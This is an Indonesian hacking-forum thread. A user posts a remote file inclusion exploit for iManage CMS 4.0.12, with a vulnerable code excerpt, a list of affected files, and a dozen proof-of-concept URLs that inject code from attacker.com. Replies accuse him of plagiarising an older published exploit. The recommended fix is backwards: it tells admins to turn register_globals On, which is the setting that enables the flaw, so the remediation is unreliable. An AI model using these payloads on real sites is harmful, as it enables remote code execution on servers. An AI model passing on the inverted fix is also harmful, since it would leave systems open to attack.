[Tutor] (absolute_path) Remote File Inclusion

[Liyan oz]

Ini mainannya om..

Spoiler:

---------------------------------------------------------------------------------------------------
(absolute_path) Remote File Inclusion
---------------------------------------------------------------------------------------------------

Author : Liyan oz a.k.a Rizky Ariestiyansyah
Date Found : January, 2nd 2011
Location : Indonesia, Jakarta
web : http://o2nri2.clan.su/ $ http://o2nri2.blogspot.com
Critical Lvl : Highly critical
Impact : System access
Where : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~
iManage CMS from Imaginex-Resource

Application : iManage CMS
version : 4.0.12 stable
URL : http://www.imaginex-resource.com

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~

-----------------------component.php----------------------
....
<?php
/**
* iManage Version 4.0.12
* Dynamic portal server and Content managment engine
* 03-02-2003
*
* Copyright © 2000 - 2003 Imaginex-Resource
*
* Site Name: iManage Version 4.0.12
* File Name: rightComponent.php
* Date: 31/01/2003
* Version #: 4.0.12
* Comments: Display all modules which are to be displayed on the right.
**/

include($absolute_path.'/language/'.$lang.'/lang_components.php');
...
----------------------------------------------------------

Input passed to the "absolute_path" parameter in component.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources

Affected files:

articles.php
contact.php
displaypage.php
faq.php
mainbody.php
news.php
registration.php
whosOnline.php
components/com_calendar.php
components/com_forum.php
components/minibb/index.php
components/minibb/bb_admin.php
components/minibb/bb_plugins.php
modules/mod_calendar.php
modules/mod_browser_prefs.php
modules/mod_counter.php
modules/mod_online.php
modules/mod_stats.php
modules/mod_weather.php
themes/bizz.php
themes/default.php
themes/simple.php
themes/original.php
themes/portal.php
themes/purple.php

and more :)

Successful exploitation requires that "register_globals= Off ".

Proof Of Concept:
~~~~~~~~~~~~~

http://target.com/[path]/articles.php?absolute_path=http://attacker.com//inject.txt?
http://target.com/[path]/contact.php?absolute_path=http://attacker.com//inject.txt?
http://target.com/[path]/displaypage.php?absolute_path=http://attacker.com//inject.txt?
http://target.com/[path]/faq.php?absolute_path=http://attacker.com//inject.txt?
http://target.com/[path]/mainbody.php?absolute_path=http://attacker.com//inject.txt?
http://target.com/[path]/news.php?absolute_path=http://attacker.com//inject.txt?
http://target.com/[path]/registration.php?absolute_path=http://attacker.com//inject.txt?
http://target.com/[path]/whosOnline.php?absolute_path=http://attacker.com//inject.txt?
http://target.com/[path]/components/com_calendar.php?absolute_path=http://attacker.com//inject.txt?
http://target.com/[path]/components/com_forum.php?absolute_path=http://attacker.com//inject.txt?
http://target.com/[path]/components/minibb/index.php?absolute_path=http://attacker.com//inject.txt?
http://target.com/[path]/modules/mod_calendar.php?absolute_path=http://attacker.com//inject.txt?

and more Affected files


Solution:
~~~~~
- Change register_globals= On
in php.ini
- Sanitize variable $absolute_path on affected files.

---------------------------------------------------------------------------
greetz :
El n4cko , Aaezha , Junia astri damayanti , olanuxer , ramiaji , sirracedin irri , Antitos ,
Indonesian coder Team | Cyber-warrior | Cybercode
| PHL | all DC member
------------------------------------------------------------------------
---
Contact:
~~

ariestiyansyah#rizky389[at]gmail[dot]com

----------[ oz family ]-------------

[Revres Tanur]

mantaps om... para pemburu bugs indonesia... top abiess...

[Liyan oz]

Kita buru juga exploit asing,,ok

[n0wn]

mantab tuch,,,,
testeing dulu,,,

[wenkhairu]

keknya pernah liat yang sejenis ini di tahun 2006, om bukan copas-copas hasil orang laen kan om ?

Code:

http://www.exploit-db.com/exploits/2046/

[ketek]

(01-13-2011 09:14 AM)wenkhairu Wrote:  keknya pernah liat yang sejenis ini di tahun 2006, om bukan copas-copas hasil orang laen kan om ?

Code:

http://www.exploit-db.com/exploits/2046/

waduh liyan

ngeri ah kamu..
belajar menghargai hasil kerja orang lain liyan...

[h1t4k3]

Wew...copasan toh bro...

[jurank_dankkal]

wah parah copas trs ganti nama author asli....
gk bole gt bro, keep low profile klu mw keliatan tinggi d'mata orang lain...
CMIWW

[Sudden_death]

serem

[numlock]

wow ow kamu ketahuan.....